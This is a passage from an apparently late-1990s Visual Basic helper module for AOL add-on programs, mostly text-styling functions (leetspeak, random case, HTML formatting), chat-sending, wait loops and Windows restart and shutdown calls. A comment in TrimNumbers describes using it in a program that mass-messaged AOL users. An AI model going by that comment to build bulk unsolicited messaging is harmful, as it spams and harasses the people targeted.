  8111. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  8112. DoEvents
  8113. Loop
  8114. Talker_PuP = NewSent$
  8115. End Function
  8116.  
  8117. Function Text_VeryCrazy(strin As String)
  8118. For X = 1 To Len(strin) Step 3
  8119. I$ = Mid(strin, X, 1)
  8120. i2$ = Mid(strin, X + 1, 1)
  8121. i3$ = Mid(strin, X + 2, 1)
  8122. Final$ = Final$ & "<B>" & I$ & "</B>" & i2$ & "<i>" & i3$ & "</i>"
  8123. Next X
  8124. ErrorRsenD (Final$)
  8125.  
  8126. End Function
  8127.  
  8128. Function Text_Reverse(Wat As String)
  8129. For X = Len(Wat) To 1 Step -1
  8130. I = Mid(Wat, X, 1)
  8131. ReV$ = ReV$ & I
  8132. Next X
  8133. Text_Reverse = ReV$
  8134. End Function
  8135.  
  8136. Function Text_StrikeCrazy(strin As String)
  8137. For X = 1 To Len(strin) Step 2
  8138. I$ = Mid(strin, X, 1)
  8139. i2$ = Mid(strin, X + 1, 1)
  8140. Final$ = Final$ & "<S>" & I$ & "</S>" & i2$
  8141. Next X
  8142. ErrorRsenD (Final$)
  8143. End Function
  8144.  
  8145. Function Text_Uppercase(Wat As String)
  8146. X = UCase(Wat)
  8147. Text_Uppercase = X
  8148. End Function
  8149. Function Text_Lowercase(Wat As String)
  8150. X = LCase(Wat)
  8151. Text_Lowercase = X
  8152. End Function
  8153.  
  8154. Function Time()
  8155. ' where can = a label textbox etc
  8156. 'wherever you want the time to be
  8157. 'use this in a timer
  8158. X = Format(Now, "h:mm:ss am/pm")
  8159. Time = X
  8160. End Function
  8161.  
  8162. Function TrimNumbers(strin As String)
  8163. 'This can be useful for screen names
  8164. 'i made an aol prog that mass im'ed people
  8165. 'and i made this so that instead of saying
  8166. '"whats up Mike12345" it said "whats up Mike"
  8167. 'cool huh?
  8168. For I = 1 To Len(strin)
  8169. l$ = Mid(strin, I, 1)
  8170. If l$ = "1" Then Let l$ = "": GoTo Done
  8171. If l$ = "2" Then Let l$ = "": GoTo Done
  8172. If l$ = "3" Then Let l$ = "": GoTo Done
  8173. If l$ = "4" Then Let l$ = "": GoTo Done
  8174. If l$ = "5" Then Let l$ = "": GoTo Done
  8175. If l$ = "6" Then Let l$ = "": GoTo Done
  8176. If l$ = "7" Then Let l$ = "": GoTo Done
  8177. If l$ = "8" Then Let l$ = "": GoTo Done
  8178. If l$ = "9" Then Let l$ = "": GoTo Done
  8179. If l$ = "0" Then Let l$ = "": GoTo Done
  8180.  
  8181. Done:
  8182. Trimmed$ = Trimmed$ & l$
  8183. Next I
  8184. TrimNumbers = Trimmed$
  8185. End Function
  8186.  
  8187. Function Type_Elite(Wat As String)
  8188. For X = 1 To Len(Wat)
  8189. Char$ = Mid(Wat, X, 1)
  8190.  
  8191. If Char$ = "A" Then Let Char$ = "─"
  8192. If Char$ = "a" Then Let Char$ = "σ"
  8193. If Char$ = "B" Then Let Char$ = "▀"
  8194. If Char$ = "C" Then Let Char$ = "╟"
  8195. If Char$ = "c" Then Let Char$ = "ó"
  8196. If Char$ = "D" Then Let Char$ = "╨"
  8197. If Char$ = "d" Then Let Char$ = "≡"
  8198. If Char$ = "E" Then Let Char$ = "╩"
  8199. If Char$ = "e" Then Let Char$ = "Φ"
  8200. If Char$ = "f" Then Let Char$ = "â"
  8201. If Char$ = "H" Then Let Char$ = "|-|"
  8202. If Char$ = "I" Then Let Char$ = "ç"
  8203. If Char$ = "i" Then Let Char$ = "ε"
  8204. If Char$ = "k" Then Let Char$ = "|ï"
  8205. If Char$ = "L" Then Let Char$ = "ú"
  8206. If Char$ = "M" Then Let Char$ = "/X\"
  8207. If Char$ = "m" Then Let Char$ = "^^"
  8208. If Char$ = "N" Then Let Char$ = "/\/"
  8209. If Char$ = "n" Then Let Char$ = "±"
  8210. If Char$ = "O" Then Let Char$ = "╪"
  8211. If Char$ = "o" Then Let Char$ = "÷"
  8212. If Char$ = "P" Then Let Char$ = "╢"
  8213. If Char$ = "p" Then Let Char$ = "▐"
  8214. If Char$ = "r" Then Let Char$ = "«"
  8215. If Char$ = "S" Then Let Char$ = "º"
  8216. If Char$ = "s" Then Let Char$ = "$"
  8217. If Char$ = "t" Then Let Char$ = "å"
  8218. If Char$ = "U" Then Let Char$ = "┌"
  8219. If Char$ = "u" Then Let Char$ = "╡"
  8220. If Char$ = "V" Then Let Char$ = "\/"
  8221. If Char$ = "W" Then Let Char$ = "VV"
  8222. If Char$ = "w" Then Let Char$ = "vv"
  8223. If Char$ = "X" Then Let Char$ = "X"
  8224. If Char$ = "x" Then Let Char$ = "╫"
  8225. If Char$ = "Y" Then Let Char$ = "Ñ"
  8226. If Char$ = "y" Then Let Char$ = "²"
  8227. If Char$ = "!" Then Let Char$ = "í"
  8228. If Char$ = "?" Then Let Char$ = "┐"
  8229. If Char$ = "." Then Let Char$ = "à"
  8230. If Char$ = "," Then Let Char$ = "é"
  8231. If Char$ = "1" Then Let Char$ = "╣"
  8232. If Char$ = "%" Then Let Char$ = "ë"
  8233. If Char$ = "2" Then Let Char$ = "▓"
  8234. If Char$ = "3" Then Let Char$ = "│"
  8235. If Char$ = "_" Then Let Char$ = "»"
  8236. If Char$ = "-" Then Let Char$ = "ù"
  8237. If Char$ = " " Then Let Char$ = "á"
  8238. If Char$ = "<" Then Let Char$ = "½"
  8239. If Char$ = ">" Then Let Char$ = "╗"
  8240. If Char$ = "*" Then Let Char$ = "ñ"
  8241. If Char$ = "`" Then Let Char$ = "ô"
  8242. If Char$ = "'" Then Let Char$ = "ö"
  8243. If Char$ = "0" Then Let Char$ = "║"
  8244. Done:
  8245. leet$ = leet$ & Char$
  8246. Next X
  8247.  
  8248. Type_Elite = leet$
  8249.  
  8250. End Function
  8251.  
  8252. Function Type_Elite2(Wat As String)
  8253.     For X = 1 To Len(Wat)
  8254.         I = Mid(Wat, X, 1)
  8255. If I = "e" Then Let I = "3": GoTo Done
  8256. If I = "E" Then Let I = "3": GoTo Done
  8257. If I = "t" Then Let I = "7": GoTo Done
  8258. If I = "T" Then Let I = "7": GoTo Done
  8259. If I = "l" Then Let I = "1": GoTo Done
  8260. If I = "o" Then Let I = "0": GoTo Done
  8261. If I = "O" Then Let I = "0": GoTo Done
  8262. If I = "A" Then Let I = "4": GoTo Done
  8263. If I = "B" Then Let I = "8": GoTo Done
  8264. If I = "L" Then Let I = "1": GoTo Done
  8265.  
  8266.  
  8267.  
  8268. Done:
  8269. Finish$ = Finish$ & I
  8270.     Next X
  8271.         Type_Elite2 = Finish$
  8272.  
  8273.  
  8274. End Function
  8275. Function Type_Hacker(Wat As String)
  8276. For X = 1 To Len(Wat)
  8277. I = Mid(Wat, X, 1)
  8278. Rand = Int(Rnd * 2)
  8279. If Rand = 1 Then
  8280. Let I = UCase(I)
  8281.     Else
  8282.         Let I = LCase(I)
  8283.     End If
  8284. strin$ = strin$ & I
  8285. Next X
  8286. Type_Hacker = strin$
  8287.  
  8288. End Function
  8289.  
  8290. Function Text_Wavy(Wat As String)
  8291.     For X = 1 To Len(Wat) Step 4
  8292.  I$ = Mid(Wat, X, 1)
  8293.  i2$ = Mid(Wat, X + 1, 1)
  8294.  i3$ = Mid(Wat, X + 2, 1)
  8295.  i4$ = Mid(Wat, X + 3, 1)
  8296.  strin$ = strin$ & "<sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$
  8297.  
  8298.     Next X
  8299.         Text_Wavy = strin$
  8300. End Function
  8301. Function Text_BoldWavy(Wat As String)
  8302. For X = 1 To Len(Wat) Step 4
  8303.  I$ = Mid(Wat, X, 1)
  8304.  i2$ = Mid(Wat, X + 1, 1)
  8305.  i3$ = Mid(Wat, X + 2, 1)
  8306.  i4$ = Mid(Wat, X + 3, 1)
  8307.  strin$ = strin$ & "<b><sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b>"
  8308.  
  8309. Next X
  8310. Text_BoldWavy = strin$
  8311. End Function
  8312. Function Text_ItalicBoldWavy(Wat As String)
  8313. For X = 1 To Len(Wat) Step 4
  8314.  I$ = Mid(Wat, X, 1)
  8315.  i2$ = Mid(Wat, X + 1, 1)
  8316.  i3$ = Mid(Wat, X + 2, 1)
  8317.  i4$ = Mid(Wat, X + 3, 1)
  8318.  strin$ = strin$ & "<i><b><sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b></i>"
  8319.  
  8320. Next X
  8321. Text_ItalicBoldWavy = strin$
  8322. End Function
  8323. Sub BoldSendChat(BoldChat)
  8324. 'It will come out bold on the chat screen.
  8325. ErrorRsenD ("<b>" & BoldChat & "</b>")
  8326. End Sub
  8327. Function Type_Hacker2(Wat As String)
  8328. For X = 1 To Len(Wat) Step 2
  8329. I$ = Mid(Wat, X, 1)
  8330. i2$ = Mid(Wat, X + 1, 1)
  8331. I$ = UCase(I$): i2$ = LCase(i2$)
  8332. hack$ = hack$ & I$ & i2$
  8333. Next X
  8334. Type_Hacker2 = hack$
  8335.  
  8336. End Function
  8337.  
  8338. Function Type_Hacker3(Wat As String)
  8339. For X = 1 To Len(Wat)
  8340. I$ = Mid(Wat, X, 1)
  8341. If I$ = "a" Then Let I$ = "A": GoTo Done
  8342. If I$ = "B" Then Let I$ = "b": GoTo Done
  8343. If I$ = "C" Then Let I$ = "c": GoTo Done
  8344. If I$ = "d" Then Let I$ = "D": GoTo Done
  8345. If I$ = "E" Then Let I$ = "e": GoTo Done
  8346. If I$ = "f" Then Let I$ = "F": GoTo Done
  8347. If I$ = "G" Then Let I$ = "g": GoTo Done
  8348. If I$ = "h" Then Let I$ = "H": GoTo Done
  8349. If I$ = "I" Then Let I$ = "i": GoTo Done
  8350. If I$ = "j" Then Let I$ = "J": GoTo Done
  8351. If I$ = "K" Then Let I$ = "k": GoTo Done
  8352. If I$ = "l" Then Let I$ = "L": GoTo Done
  8353. If I$ = "M" Then Let I$ = "m": GoTo Done
  8354. If I$ = "n" Then Let I$ = "N": GoTo Done
  8355. If I$ = "O" Then Let I$ = "o": GoTo Done
  8356. If I$ = "p" Then Let I$ = "P": GoTo Done
  8357. If I$ = "Q" Then Let I$ = "q": GoTo Done
  8358. If I$ = "r" Then Let I$ = "R": GoTo Done
  8359. If I$ = "S" Then Let I$ = "s": GoTo Done
  8360. If I$ = "t" Then Let I$ = "T": GoTo Done
  8361. If I$ = "U" Then Let I$ = "u": GoTo Done
  8362. If I$ = "v" Then Let I$ = "V": GoTo Done
  8363. If I$ = "W" Then Let I$ = "w": GoTo Done
  8364. If I$ = "x" Then Let I$ = "X": GoTo Done
  8365. If I$ = "Y" Then Let I$ = "y": GoTo Done
  8366. If I$ = "z" Then Let I$ = "Z": GoTo Done
  8367.  
  8368. Done:
  8369. strin$ = strin$ & I$
  8370. Next X
  8371. Type_Hacker3 = strin$
  8372. End Function
  8373.  
  8374.  
  8375. Function Wait(HLong)
  8376. Current = Timer
  8377. Do While Timer - Current < Val(HLong)
  8378. DoEvents
  8379. Loop
  8380. End Function
  8381. Function Wait2(HLong)
  8382. 'might free up some resource while waiting ;o)
  8383. 'yea i know what ya sayin..hound just wanted
  8384. 'his bas to have 100 functions instead of 99
  8385. 'i wish it has 100 at this point
  8386. Current = Timer
  8387. Do While Timer - Current < Val(HLong)
  8388. DoEvents
  8389. Call FreeProcess
  8390. Loop
  8391. End Function
  8392.  
  8393.  
  8394. Function WaitForModal()
  8395. Do: DoEvents
  8396. Modal% = FindWindow("_AOL_Modal", vbNullString)
  8397. stat% = FindChildByClass(Modal%, "_AOL_Static")
  8398. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  8399. If Modal% <> 0 And stat% <> 0 And Edi% <> 0 Then Exit Do
  8400. Loop
  8401.  
  8402. End Function
  8403.  
  8404.  
  8405. Function Windows_ReStart()
  8406. shutit = ExitWindows(EWX_REBOOT, 0)
  8407.  
  8408. End Function
  8409.  
  8410. Function Windows95_ShutDown()
  8411. shutit = ExitWindows(EWX_SHUTDOWN, 0)
  8412. End Function
  8413.